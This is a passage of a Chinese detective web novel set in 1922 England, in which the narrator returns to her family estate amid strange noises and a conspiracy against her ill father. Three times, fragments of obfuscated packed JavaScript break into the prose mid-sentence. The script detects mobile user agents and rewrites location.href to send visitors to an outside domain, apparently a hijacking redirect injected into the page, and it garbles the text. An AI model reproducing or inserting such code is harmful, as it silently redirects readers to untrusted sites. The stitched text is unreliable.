“刚睡下。” “好。”我走进去，带进一身湿冷的夜气。 经过弗瑞的房间，门缝里透出一点微弱的光。也许是台灯。 我停了一下。 手放在冰冷的门把上，又收回。 我只能在这记录着。 我在害怕？ 也许。 43.5.1 日子就这样子，一天一天过去了。 伦敦几乎进入了最寒冷的季节，街道上已经开始弥漫上节日的气息。 圣诞。 我想没有人不清楚，这个节日，对于英国家庭来说，意味着什么。 但是读者们，请原谅我陷入了一种纠结。 这是我离家的第二年。 当初离开的时候，父亲坚信，我会在外面碰壁，然后要不了多久就会乖乖回去。 而我固执的坚持着。 第一年圣诞，我并没有返回家。 而今年的末尾，我遇见了简，经历了许多会几乎让我的父母昏厥的事情。 我反倒是更加不敢回去了。 家族的信偶尔会来，大多是批判和指责。母亲的担忧与关心，还有弟弟的劝告。 我和简聊过关于我家族的事情，当然她必然是会支持我的。 至于，圣诞节，对于简来说，只不过只是普通的又一天罢了。 当然，你不能指望金环蛇。 所以，我在考虑，要不要圣诞节陪简一起度过，当然肯定不会少了我们的梅尔小姐，还有老滴答。 但是，一封信打破了我的计划。 “本小姐，有您的信。”老滴答将一个信封放在我堆满档案的桌角。 我的心，轻轻沉了一下。母亲的信件，与我们的事务所似乎格格不入。 我放下手头的工作，用拆信刀小心翼翼地划开封口。 信封的纸质优良。整体散发着母亲惯用的紫罗兰香氛。 展开信纸，母亲的字迹跃然纸上，依旧优雅流畅。 弗瑞，我亲爱的女儿： 希望此信抵达时，你能安好。 伦敦的天气想必如常，希望你多加注意，不要让湿冷的空气侵扰了健康。一件需你即刻知晓的事务，促使我提笔。 你的父亲，于上周三晚间，由于一些事情，受了点刺激。医生已多次诊视，目前要求他必须静卧休养。他的精神尚可，但体力显然不济。病势虽非危急，然其状况着实令人忧虑。他需要安静，也需要家人在侧的支持。 圣诞将至，本应是阖家团圆、共享天伦之时。庄园却总是发生一些怪事。弗瑞，我的女儿，庄园需要凝聚的力量。 去年是一个遗憾，而今年，我希望你能够回来。我知你于伦敦的事务自有其重要性（请原谅我的直率，亲爱的，我始终认为一位淑女的真正价值，其展现的舞台应更为……传统）。 弗瑞，在此特殊时刻，家族成员的在场，不仅是一种慰藉，更是一份责任。 因此，我要求你，不，是恳切地期望你，务必于下周一，12月18日，搭乘最早一班列车返回萨罗郡。请务必安排好你在伦敦的事务，勿要延误。 家中已为你预备好房间。萨罗郡的冬景虽不及伦敦喧嚣，但此刻，家的宁静与亲人的陪伴，方是重中之重。 随信附上你的旅费汇票。责任与体面高于个人喜好，弗瑞。我深信你明白这个道理，也期待着你展现出应有的成熟与担当。 期盼你的归来。愿主保佑你旅途平安。 你深爱且忧虑的母亲， 伊丽莎白·本 1922年12月13日于本家庄园 信纸在我手中微微颤抖，并非因为寒冷。 我的脸色一定相当难看，一直注意着我的简忍不住开口问，“怎么了，弗瑞？” 我将信递给她，指尖有些发凉。 事务所里只有老式挂钟的滴答声，和窗外隐约传来的马车声。 简接过信，她的目光迅速扫过那些优雅而带着无形重量的字句。 简看完，将信纸轻轻放回我面前的桌上。 “你父亲病了。”她的声音很平静，听不出情绪，只是陈述一个事实。 “嗯。”我应了一声，目光落在母亲那句“责任与体面高于个人喜好”上。 那熟悉的字句像无形的绳索，勒得我有些喘不过气。 去年的圣诞，我还能用工作繁忙搪塞过去，今年……母亲的信，字字句句都敲在“责任”二字上，由不得我再逃避。 “上周三的事……现在才来信。”我低声道，心里有些难受。 父亲的脾气向来强硬，能让他“受了刺激”以至于需要卧床静养的，恐怕不是什么小事。还有那含糊其辞的“庄园怪事”……莫名地让人心头不安。 “你怎么想？”简直接问道。她从不拐弯抹角。 我抬起头，看向她。 简的眼神清澈而坚定，一如既往。 她不会劝我回去，也不会阻拦我。她只会支持我的决定。 老滴答不知何时已悄然将一杯热茶放在我手边，蒸汽氤氲上来，模糊了一瞬视线。 “我得回去一趟。”我听见自己的声音说，带着连自己都感到陌生的疲惫，“至少……得看看他到底怎么样了。” 那毕竟是父亲。无论我们之间有多少争执和隔阂…… 简点了点头，没有意外。“什么时候走？” “母亲要求下周一，18号，最早一班车。” 我拿起那张附在信里的汇票，薄薄的纸片，却像承载着整个家族的分量。 “还有几天时间，处理一下手头的案子。”简的语气恢复了日常的利落，目光扫过我桌上堆积的文件，“能交给我处理的，就交给我。” 老滴答在一旁，补充道：“本小姐，需要我为您预订火车票吗？还有，萨罗郡的天气比伦敦更湿冷，希望您务必带上厚实些的大衣和围巾。” “麻烦你了，我会的。”我感激地看了他一眼。 我端起茶杯，温热的液体滑入喉咙，却没能完全驱散那份萦绕不去的忧虑。 窗外的伦敦，节日的气氛越来越浓，彩灯在薄暮中开始闪烁。 而我的思绪，却早已飘远。 …… 虽然我坚持在和简学习驾驶新式汽车，但在有限的时间里，我所会的仅仅只是将车子开动。当然，过程和目的地完全未知。 所以，不要指望着我能够开车从伦敦到萨罗郡。 临近圣诞的火车站里来往的人众多，寒冷的天气又让人保持沉默。 月台冷得像冰窖，巨大的蒸汽机车头喘着粗重的白气，像一头蛰伏的钢铁怪兽。 车厢里还算暖和。我找到靠窗的硬木座位坐下，皮箱塞进脚边。 窗外是忙乱的月台，送行的、告别的、吆喝的小贩。 我拒绝了简陪同我回家的事情。 让简踏足本家庄园？ 想象父亲见到这位我的挚友兼搭档时的表情，还有母亲那不动声色的审视…… 面对那座古老的庄园和它森严的秩序，简的存在本身就是一种挑战，一种我目前无力承担的“刺激”。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078216|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 更何况，我也不愿意简因为我而受了我家人的批判。 汽笛猛地拉响，尖锐刺耳。 车身一震，缓缓动了起来。 月台开始平稳地向后退去，速度越来越快。伦敦杂乱的屋顶、高耸的烟囱、模糊的节日装饰，逐渐被甩在身后。 我靠在冰冷的车窗上，玻璃硌着额头。 窗外的景色换成了铅灰色的天空下，一片片覆着残雪的萧瑟田野和光秃秃的树林，飞快地向后掠去。 单调，寒冷。 火车发出规律而沉闷的“哐当哐当”声。 萨罗郡。到了。 我吸了口气，拎着我的皮箱下车。 站台上稀稀拉拉几个人影，裹在厚重的冬衣里，缩着脖子。 没有熟悉的面孔。 这在意料之中。 母亲的信里只字未提派人来接，或许是一种无声的责备，又或许，庄园里真的自顾不暇了。 站外孤零零停着几辆出租马车。 车夫们揣着手，跺着脚，在寒风中守着这点微末生意。 我一向不怎么喜欢冬天，它太漫长了，太寒冷了，它对人们并不友好。 我走向最近的一辆，老马瘦骨嶙峋，喷着虚弱的白气。 “本家庄园。”我报上地名。 车夫是个干瘪的老头，裹着看不出颜色的厚围巾，只露出一双浑浊的眼睛，满是被生活压垮的疲惫。他上下打量了我一眼，然后无声地点点头，示意我上车。 窗外的景象单调无趣。我也没什么心思观看。 离庄园越近，心口那股沉甸甸的感觉就越发清晰。 不是近乡情怯，更像是一种…戒备。母亲信里那句“庄园怪事”，像根小刺，让我忍不住警惕。 不知过了多久，马车终于慢了下来。 透过模糊的车窗，能隐约看到前方巨大铁门的轮廓，以及铁门后，在冬日黄昏的暗淡天光下，暮气沉沉的巨大庄园。 那是，我的家。 车夫勒住马，马车在紧闭的铁门前停下。他佝偻着背，慢吞吞地爬下座位去拉门铃。 我推开车门，顶着刺骨的寒风站到地面上，抬头望着眼前紧闭的巨大铁门。 庄园里静悄悄的，没有灯火，没有迎接的人声。只有风穿过树篱的呜咽。 铁门内传来脚步声，缓慢而拖沓。 一个穿着深色仆人装束的老妇人出现在门后，手里提着一盏光线微弱的马灯。灯光映着她布满皱纹的脸，她没说话，只是费力地拉开了沉重的铁门。 马车夫把马车赶了进去，停在主楼前空旷冰冷的石子广场上。 我付了钱，他依旧沉默着，接过硬币塞进口袋，调转马头，很快消失在暮色笼罩的林荫道尽头。 老妇人提着灯，站在主楼高大的橡木门前，她终于开口，没什么情绪。 “弗瑞小姐。您回来了。” 门在她身后打开，显出莫名的压抑。 “嗯。”我应了一声，紧了紧抱着皮箱的手臂，迈步跨过了那道高高的门槛。 一个低沉沙哑的声音，在近处的阴影里突兀地响起。 “你终于回来了，姐姐。” 那声音里听不出是欢迎，还是别的什么。 “纳迪尔（Naadir）？” 纳迪尔·本（Naadir·Ben），我的弟弟。 44.5.2 我与纳迪尔的关系算不上多差。虽然我长他三岁，但他对我也没有什么距离。 小的时候，在他还只有七八岁的时候，他还只是一个会跟在我身后叫姐姐的小孩。但等他再大点，家族对我们姐弟俩的态度就显出来了。 身为家中男孩，纳迪尔是无可否认的继承人，他接受了全英国最顶级的教育，甚至早早离家去了剑桥大学进修金融管理学。仪态、修养、学识，身为继承人，这些他缺一不可。 而我，身为家中长女，修习了一切“淑女”需要的事物，然后似乎理所当然地进了一所圣玛丽女子学校。 当然，我并不是嫉妒我的亲弟弟。他很优秀，很努力，也可以担当一个合格的继承人。只是，夜深人静的时候，我总是会有几分落差。 在纳迪尔离家之后，我们的关系也和距离的一样变远了。偶尔的来信，也只是一下无关紧要的问候，后面索性信也少了。 但自从我去往伦敦之后，他的来信就变多了。关心，问候，当然…还有劝告。 “姐姐。”纳迪尔走近了一些。 他的声音比印象里哑了点。穿着深灰的羊毛西装，个子确实高了，肩膀也宽了，但在昏暗的灯光下光线，还是能看清他脸白得厉害，眼下两片青黑，整个人透着一股压不住的累。 “纳迪尔。”我叫他一声。 他走到离我几步远的地方停下。然后把我从头到脚看了一遍，轻轻点个头。 “到了就好。”他声音不高，但也有些放松，“路上冻坏了吧？” “嗯。”我把冻手的皮箱换到另一只手里，手指头有点发木。“父亲怎么样了？”话问出口，我的心提着。 纳迪尔眼神一下子暗了。他偏过头，看了看楼上那片黑。 “在楼上休息。”他停了一下，“医生说是气的，急火攻心，得静养……”他转过来看着我，里面的担心一点没藏。 壁炉是冷的，一点热乎气儿都没有。就我们呼出的白气儿还在飘。 “究竟是什么事…？”我忍不住问。 纳迪尔看着楼梯摇了摇头，“不清楚，他不愿说。” “母亲呢？”我又问，眼睛没法从他惨白的脸和红血丝上挪开。 “在书房待客。”他朝左边那扇关着的雕花门抬了抬下巴，带出了几分轻蔑和不满。“利德森叔叔。” 闻言，我只好沉默地点点头。 利德森叔叔是我们父亲的弟弟，为人传统，甚至刻薄。在我们年少时起，就理所当然地寻找着我们父亲的帮助。 而且，他还喜欢摆架子，自认是长辈，总是对我和纳迪尔进训导。 所以，我和纳迪尔都不喜欢他。就算是周到如母亲，偶尔也会和我抱怨利德森叔叔的麻烦与自大。 我知道这样说一个人并不好，但我还是要说，我不喜欢他。 当然，他也不喜欢我。 纳迪尔看着我似有些担心，他半强硬地接过我手里的箱子，示意后面的老仆人跟上，然后带着我走。 “利德森叔叔一早就来了，批判了…姐姐你在伦敦的事情，当然，母亲也生气了。” 纳迪尔边走边压低声音说，“我本来想叫人去接你的，但是他劝着母亲阻止了我。抱歉。” 他似乎有些失落，还有担心，我却不知道怎么说。 “姐姐，我不是说你不好的意思。只是，你的那些事情太危险了。天知道我在报纸上看见你的名字有多么担心。” 他在关心我，我知道的。 但是，我只能无力地笑笑，“纳迪尔，家里的怪事……”我试着开口，转移话题，也是真的担心。 纳迪尔整个人立刻绷紧了。他飞快地瞟了眼楼下和仆人们待的那边，身子朝我这边靠了靠，声音压得低低的，“是有点……不太平。下人们都在嘀咕，慌得很。” 他眉头拧着，显得更累了。“具体的……母亲跟你说吧。” 他最终叹了口气，“你回来……总归好点。” 他没说“别怕”，也没笑。 然后，就是沉默。 纳迪尔提着箱子，脚步很沉。走廊很长，两边墙上的画像在昏暗里显得模糊不清。空气里是熟悉的紫罗兰香氛味。 “房间收拾过了，”纳迪尔推开了我曾经的卧房，向我示意，“和以前一样。” “嗯。”我应了声。目光扫过熟悉的墙板和瓷瓶，东西都还在老地方。 几个仆人远远站着，头都低着，但那种过分的安静里，能觉出点不安。 他和我进了卧房，然后放下箱子，摆摆手，一直跟着的老仆就机灵地推了出去。 只剩我们俩。 壁灯的光落在他脸上，眼下的青黑更重了。他吸了口气，才转过来看我，声音压得极低。 “不光是下人瞎传，姐。”他抿了抿嘴唇，“东西……自己会挪地方。夜里……有动静。”他眼神晃了一下，那点困惑底下，藏着一丝压不住的什么，在他那张习惯了条理的脸上显得有点陌生。 “东头走廊，还有……书房边上。母亲不让提，说是房子老了，下人乱嚼舌根。”他扯了下嘴角，没什么笑意，“可她自己也睡不踏实。” 我心里咯噔一下。寒意从脚底往上爬。 “你呢？”我看着我的弟弟，“听见了？” 他没立刻答。楼下隐隐传来利德森叔叔拔高的调门，像是在训导谁。纳迪尔眉头拧得更紧。过了一会儿，他才很轻地点了下头，眼睛没看我，看着走廊尽头那片更深的黑。 “嗯。”就一个字，沉甸甸的。“像……叹气。又像……有人拖着湿脚走路。” 壁灯的光好像弱了一下。也许是我的错觉。但那股凉气，好像更重了点。远处，不知哪扇门轴，轻轻“吱呀”了一声，在死静里格外清楚。 纳迪尔飞快地朝声音方向扫了一眼，又立刻收回目光看我，疲惫被一股子警觉取代，接着是更深的无力。他抬手想揉额角，半道又放下来，只捏了捏鼻梁。 “先歇会儿吧。”他声音有点哑，伸手推开了房门。“晚餐叫你。” 我独自一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087242|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人在我曾经的卧房。这个房间似乎什么都没变，就好像岁月并没有什么变化。 我走到窗前，向外看去，昏黄的天色染上了几分落寞，远处的庭院与绿植静悄悄地，偶尔会有仆人提着燃灯进行巡视，整个庄园似乎都因为那所谓的“怪事”肃穆且惶恐。 “唉……”我叹了口气，拉上了窗帘。 “像……叹气。又像……有人拖着湿脚走路。”弟弟的话，在我的脑海里回荡。 怪力乱神？我不信。 读者们，我可以肯定，如果简当时在那，她肯定也只会漫不经心地笑笑。她当然也不会信的。 至于我自己。 哦，当然，我信仰上帝。 但我也知道，上帝无法挽救战争，也无法解释人类。 我信仰上帝。 但是，亲爱的，科学与达尔文在全世界都掀起了浪潮。 上帝只是一种信仰。 而我和简都相信，所谓的怪力乱神，究其根本，是人。 当然，在之后的日子里也发生了许多案子，就连简都惊异我竟然仍旧信仰上帝。 “简，信仰是人们自己选择的支撑。仅此而已。”当时的我，看着简说。 啊…又自顾自地写这么多无关的东西了。 我还是回到当时吧。 “小姐，”是女仆艾格尼丝的声音，隔着厚重的房门，显得有些发闷，“请您……下楼用晚餐。” “知道了。”我说。我甩甩头，把大衣搭在椅背上，整理了一下略显凌乱的发髻。 走廊里的光似乎比刚才更暗了些。画像上先祖们模糊的面孔在摇曳的壁灯光下，眼神仿佛都带上了审视。 艾格尼丝垂手侍立在不远处，头微微低着，但在她惯有的恭谨姿态下，我能感觉到紧绷的僵硬。 她没有看我，如同从前日子里的每一日，安静地引领我去往餐厅。 餐厅沉重的双开门被艾格尼丝无声地推开。巨大的长餐桌上铺着洁白的桌布，银质烛台里点着长长的白蜡烛，烛火稳定地燃烧着。 母亲坐在主位，父亲的位置空着。她穿着一件紫色的天鹅绒长裙，头发精致利落，颈间戴着珍珠项链。她坐得笔直，却透着疲惫。面前的食物几乎未动。 纳迪尔坐在母亲右手边，背对着我。他换掉了那件深灰的羊毛西装，但浅色的便装外套也没能让他苍白的脸色好转多少。他正用银匙缓慢地搅动着面前的汤，心不在焉地，汤勺碰到瓷碗边缘，发出细微的叮当声，在过分安静的餐厅里格外刺耳。 利德森叔叔则大喇喇地坐在母亲左手边，与纳迪尔相对的位置。他显然已经享用完了他的浓汤，餐盘被撤走了，面前放着一杯红宝石色的葡萄酒。他身体微微后仰靠在椅背上，双手交叠放在腹前，下巴微抬，目光扫视着刚刚进门的我，带着毫不掩饰的不屑与幸灾乐祸。他那张保养得宜的脸上，照常挂着令人不适的自得。 我在为我预留的位置坐了下来。在纳迪尔的右手边。母亲在我的侧边，而利德森叔叔，就在我的对面。 45.5.3 亲爱的读者们，不用我说，你们也能知道。这并不是一次愉快的晚餐。 “你迟到了，弗瑞。”母亲的声音响起，不高，甚至算得上平稳。 她没有看我，目光落在她面前那碗汤上。她的侧脸在烛光下显得异常苍白，眼下带着难以掩饰的倦怠青影。 “抱歉，母亲。”我在纳迪尔旁边的空位坐下，艾格尼丝无声地为我拉开椅子。“刚安顿好。” “伦敦的‘工作’让你忘记了时间观念？”利德森叔叔啜了一口酒，慢悠悠地开口，尾音拖得长长的，带着一种令人作呕的、自以为是的幽默感。 纳迪尔搅动汤匙的动作猛地顿住了。他抬起头，飞快地瞥了利德森叔叔一眼，然后又垂下眼帘，愤愤地搅着自己碗里那可怜的奶油浓汤。 “伦敦教会了我守时的重要性，尤其是在面对真正重要的事务时，利德森叔叔。” 我尽量平静地回应，示意仆人给我上汤。汤是热的，浓郁的蘑菇香气飘散开来，但我却没有什么胃口。 “真正重要的事务？”利德森叔叔嗤笑一声，身体微微前倾，隔着长长的餐桌，他那审视的目光落在我的身上。 “比如……在那些肮脏的巷子里扮演侦探？在报纸的头版上丢尽家族的脸面？天知道那些小报记者把你和那些下三滥的案子写成了什么样子！还有那个什么宝石案子！你父亲就是看到那些才……” “利德森！”母亲的声音突然拔高，打断了利德森叔叔无礼的话。 她终于抬起眼，那双平时总是沉静如湖水的眼睛里，此刻燃烧着压抑的怒火和深切的痛楚。 “注意你的言辞！也注意你的身份！这个家里的事情，还轮不到你来指手画脚！” 餐厅瞬间陷入一片死寂。仆人端着主菜的银盘，僵在原地，进退不得。烛火跳动着，光影在每个人脸上晃动，明暗交错。 利德森叔叔被这突如其来的呵斥噎住了，脸色涨红，嘴唇蠕动着，似乎想反驳，但在母亲的混合着痛苦与愤怒的目光下，最终还是悻悻地靠回椅背，重重哼了一声，端起酒杯狠狠灌了一大口。 纳迪尔放下了汤匙，发出清脆的一声响。他放在桌下的手，紧握成拳。他侧过头，极快地看了我一眼，那眼神复杂极了。 “父亲……他今天情况怎么样？”我打破沉默，声音干涩。 母亲深吸一口气，那吸气声带着不易察觉的颤抖，仿佛要用尽全身力气才能压下翻腾的情绪。她重新拿起餐巾，动作僵硬地按了按嘴角。 “医生来过，还是那句话，需要静养。”她顿了顿，目光扫过我和纳迪尔，带着一种沉重的警告。 “所以，家里现在需要的是安静，是体统。任何……任何会引起风波的事情，都必须停止。” 她的视线在我脸上停留了一瞬，含义不言而喻。伦敦的事，到此为止。 我知道的。我的母亲，这位优雅的女士，得体的夫人，最在意的一贯是父亲还有家族的责任与名誉。 即使，我的所作所为，本没有他们所夸大的那样不堪。 父亲…是因为我而病的吗…… 当时的我并不知道，我不敢问，满心地内疚与无奈。 然后，又是沉默。 仆人终于找到机会，开始沉默而迅速地撤下汤碗，换上主菜，烤得恰到好处的羊排，配着鲜嫩的蘑菇和土豆泥。食物的香气本该诱人，但此刻只让人觉得沉重。 餐厅里只剩下刀叉与瓷盘偶尔碰撞的轻微声响。纳迪尔吃得很少，动作缓慢而勉强。利德森叔叔则带着一种报复性的粗鲁切着他的羊排，咀嚼声显得格外响亮。母亲小口吃着，姿态依旧优雅。但每一次抬手都显得异常沉重，仿佛那银质的刀叉有千钧之重。她几乎没碰盘子里的食物。 压抑如有实质，严严实实地包围了整个餐厅，让人喘不过气。 烛光跳跃，在光洁的银器上投下扭曲晃动的影子。窗外，夜色彻底笼罩了庄园，只有偶尔仆人提灯巡视的光点，在浓墨般的黑暗中微弱地移动。 就在这令人窒息的死寂中，一阵极其细碎的刮擦声，忽然传来。 “嘶啦……嘶啦……” 像是指甲，又像是某种……湿漉漉的东西，在缓慢地摩擦着门板。 声音很低，但在一片死寂中却清晰得如同惊雷。 我握着餐刀的手猛地顿住，尽力去寻找声源。 纳迪尔切肉的动作瞬间僵住，他猛地抬头。 母亲握着叉子的手停在半空，眉头紧紧蹙起。那并非仅仅是被打扰的恼怒，更像是一种担忧。她下意识地看向楼梯的方向，父亲房间所在的位置。 就连一直气哼哼的利德森叔叔，咀嚼的动作也停了下来，惊疑不定地侧耳倾听。 那刮擦声停了。 几秒钟令人心脏骤停的死寂。 然后，又是几声。 “嘶啦……嘶啦……” 这一次，更清晰了。没等纳迪尔反应，甚至没等母亲开口阻止，我直接握着自己手里的银刀走了过去。 我认真跟着梅尔小姐，还有简训练的可不只是木仓。 “练木仓是为了以防万一。弗瑞，你最重要的是熟练掌握刀和匕首这种东西，它们无声，致命，而且，”简当时告诉我说，她那双浅绿色的眼睛平静无波，“在你意想不到的时候，它们往往就在你手边。” 此刻，这柄银餐刀，就是我手边唯一的武器。它也许不够锋利，不够趁手，但它冰冷的重量和熟悉的握感，奇异地压下了我胃里翻滚的不适和脊背上窜起的寒意。 我一步一步，稳稳地走向那扇发出异响的门。其他人一时只能注视着。 配膳室的门紧闭着。门板厚实，黄铜把手在阴影里泛着幽暗的光。 那“嘶啦……嘶啦……”的声音又响了一次，似乎因为我脚步声的靠近而停顿了一瞬。 我停在门前一步之遥。空气里，除了食物的香气，似乎还隐隐约约混杂了别的气味。 一种带着点土腥和腐败的潮湿气息，若有若无地从门缝里渗透出来。 我缓缓抬起左手，伸向冰冷的门把手。右手紧握的餐刀横在身前，刀刃朝外，身体微微侧倾，重心下沉。 门后，那刮擦声骤然停止了。 一片死寂。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092175|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 我深吸一口气，猛地压下门把手，用力向内推开！ 什么都没有！ 没有人！ 没有任何实质存在的东西。 不对… 我小心地蹲了下来，套出了自己随身携带的手帕，从靠近门缝的地上捡起来了一下细碎的东西。 那似乎是一些…糖渍？泛着甜腻的气味。 而且，门的那一面，似乎还有些抓痕。 我默默用手帕包好了东西，然后握着刀站起来，环视了一圈配膳室，什么都没有。 “姐姐！你没事吧？！”纳迪尔来到了我的身边，他明显有些紧张，忍不住伸手拉着我上看下看。 “呃…没事。什么都没有。”我安抚地笑了笑，“可能是一下小动物吧？别紧张。” “你应该让那些仆人去干的，万一……”我不太想听他说下去了，拉着他回到了餐桌。 母亲一直在旁边注视着我们，一些仆人围在她的身边。 至于利德森叔叔？他早跑了。 母亲的眼神在我和配膳室的门之间来回扫视，那里面交织着不赞同与后怕，以及更多深沉的情绪。最终，她只是幽幽地叹了口气，然后看向了身旁的仆人们。 “既然只是大惊小怪，你们还愣着干什么？”她严厉地说。 仆人连忙开始忙碌了起来。 而我的母亲，伊丽莎白·本，只是无奈地注视着我和弟弟，像是注视着两个不懂事的孩子，或许本就如此。 “我去陪陪你们父亲。剩下的，你们自己安排吧。”她的声音带着耗尽心力的沙哑。 她深深地看了我一眼，然后转身，紫色的长裙摆动，一步步走向楼梯。她的背影在烛光下拉得很长，显得格外单薄而孤寂。 “母亲！”我看着她的背影慌乱地喊。 她没说话，转头看向我。 “我可以…去见见父亲吗？”我有些忐忑地问。 我的母亲站在楼梯上，她向下看我，我仰头看着她。 “当然。为什么不？”她的声音很轻，带着一种近乎缥缈的温柔，“你是我们的孩子。”这句话她说得很慢，每个字都像从心底艰难地掏出来。她顿了顿，望向父亲的房间。 “我想约瑟会很高兴。他一直……都很想你。” 约瑟·本。 我的父亲。 本家真正的家主。 我母亲的爱人。 说完，她不再停留，转身，紫色的裙摆消失在楼梯拐角的阴影里。 留下我和纳迪尔站在压抑的餐厅中，空气中似乎还残留着她那声叹息和那句带着复杂重量的“你是我们的孩子”。 亲爱的读者们，也是在这个时候，我才发现，我从来都没有真正弄懂我的父母。 我从不否认他们对我和纳迪尔的爱，他们当然爱我们，甚至比大部分父母都开明。 但他们对我们的爱，不可逾越家族，不可逾越名誉。 我曾经认为，如果我的存在让家族蒙羞，他们或许会悲伤且无奈地放弃我。 但是，我的母亲又说，“你是我们的孩子”。 46.5.4 我在纳迪尔的陪伴下，去见了我的父亲。 为了照顾病人，屋子里没有开灯，壁炉里火光跳动着，我的父亲面容憔悴，脸色苍白，靠坐在床头。母亲陪在他的身边。 “父亲…”我叫他。 “弗瑞。过来吧。我的女儿。”父亲勉强地笑了笑。 我在母亲的注视下，还有弟弟的担忧中走了过去。 “父亲…请原谅…我很抱歉让你因为我而……”我的声音有些颤抖，内里是无法掩饰地内疚与担心。 不得不说，利德森叔叔无礼地话，还是对我造成了影响。 我趴在父亲的床头，泪水有些不争气地流了下来。 但是，我的父亲，伸手摸了摸我的头，他说：“不…无需道歉…孩子…我的病与你无关。不过是因为一些讨厌的人罢了。好了…笑一笑。我们可是好久没见了。” 闻言，我只好抬起头，勉强地扯动嘴角，露出一个笑容。 当然，纳迪尔也放松了一些。我知道，他一直在为我和父亲担心。 “可是…父亲。如果和姐姐无关…你为什么不愿意告诉我。”纳迪尔明显有些疑惑。他也问出了我心里的想法。 究竟是什么事情，或者什么人，让父亲如此大动肝火，以至于急火攻心？ “纳迪尔…你也过来吧。”父亲看着弟弟说。 我们两个人一起站在父亲的床头。 壁炉里的火光在不安的涌动着。 读者们，终其一生我都记得父亲但是看着我们的肃穆神情。 他说，为了荣光。 …… 读者们，我不是在自傲。 我的家族也算得上是老牌家族了。 祖祖辈辈都在靠近伦敦的萨罗郡生存。 我的家族，见证且参与了维多利亚的荣光。 那是我自小听到大的。 紫罗兰。本家家徽。 紫罗兰… 紫罗兰的盛放围绕着太阳的荣光。 而英格兰，是我们的太阳。 …… 我的父亲是一个传统且正派的人。 他爱我的母亲。 他爱他的孩子。 当然，他爱我们的国家。 我不知道，如果我是我的父亲，我会像他那样在议会上指出一个可能会捅破天的事情吗。 我不知道。 但我的父亲做了。 …… “弗瑞，这不是一个小事。”简说，透过电话，我都可以感觉到她的严肃。“保护好自己。我会带梅尔过来。” “可…好，路上小心。” 我没法拒绝。 我迫切地需要一些支柱。 我…我不知道怎么说。 读者们，我在满怀悲痛的写这个故事。 多亏了，简和梅尔小姐，我的父亲活了下来。 我的父亲足够幸运。 他又是何其不幸。 哦！上帝啊！ 读者们，我想你们一定一头雾水，抱歉，让我调整一下。 读者们，尽管当时我的父亲面容憔悴，但他整体的情况也并没有特别的差。 “弗瑞…我的女儿，我想你还记得你经历的那个宝石案子。”我的父亲虚弱地说。 来自东方的“盛会之星”。 克里米亚夫人的案子。 我和简参与了的。 案子结束后，一些不入流的小报报道了简和我。 而这，成了有心人在议会上攻击我父亲的一个点。 我的父亲没有怪罪我。 他注意到了我完全没有考虑的事情。 他在指责了宝石的来源以及所有权的合理性，并且直接向乔治国王提出了彻查建议。 “他们是蛀虫！是窃贼！”我的父亲愤恨地说。 派驻殖民地的官员，获取的宝物，理应上交国家。 但现在，绝大部分被冠上名号。成为了那些人的私有财产。 就如同，克里米亚夫人的“盛会之星”。 战争带来了很大的混乱，在结束后，从事情发生的当时，直接延续到了我写这段文字的现在。 在这样的混乱中，我的父亲，直接向乔治国王要求清算。 他触及了多少人的利益？ 又有多少人会狗急跳墙？ 我无法想象。 我的父亲也明白。 所以他保持缄默。并且卧病。 可是，读者们，世界上没有不透风的墙。 怪事折磨着家里所有人的神经。 父亲还是告诉了我们。 我不知道他思来想去想了多少。 我只能庆幸于上帝。 天主垂怜。 …… 我让纳迪尔陪着父亲和母亲。 近乎恍惚地走出了父亲的房间。 血液在身体里奔流，心脏在砰砰乱跳。出于担心？出于恐惧？我不知道。 走廊是漫长的，我独自一人穿过了众多画像的注视，直奔书房。 书房里有父亲出于办工安装的电话。 我有预感…庄园里的怪事，一定和父亲上交给乔治国王的建议有关。 那是阴谋。 或者说，阴谋在暗中发酵。 …… “弗瑞，这不是一个小事。保护好自己。我会带梅尔过来。” 简的话让我一直提着的心放下了一点。 我站起来，看向了窗外。夜色笼罩着整个本家庄园，洁白的雪反射着月光。 起大风了，大风刮过，庄园旁的树木沙沙作响，我甚至可以听见落雪的声音。 树木在摇摆，张牙舞爪，鬼影重重。 这个夜晚有一场大雪。 在这样风雪交加的夜晚，一声尖叫打破了庄园的死寂。 “啊！！！” 我猛地从床上惊醒，心脏在胸腔里猛烈地狂跳。枕下的匕首瞬间滑入掌心，冰冷的金属触感勉强让我安心。 那声尖叫凄短促，随即被窗外呼啸的风雪吞没。但它的余音仍在我脑中作响。 是艾格尼丝！ 声音的方向，似乎是……楼下靠近储藏室或厨房的区域？ 该死！ 我来不及点燃蜡烛，赤脚踩在冰冷的地板上，一把扯过搭在椅背的晨衣裹住睡衣。 黑暗浓稠得化不开，只有窗外雪地映进的惨白，勾勒出扭曲的轮廓。 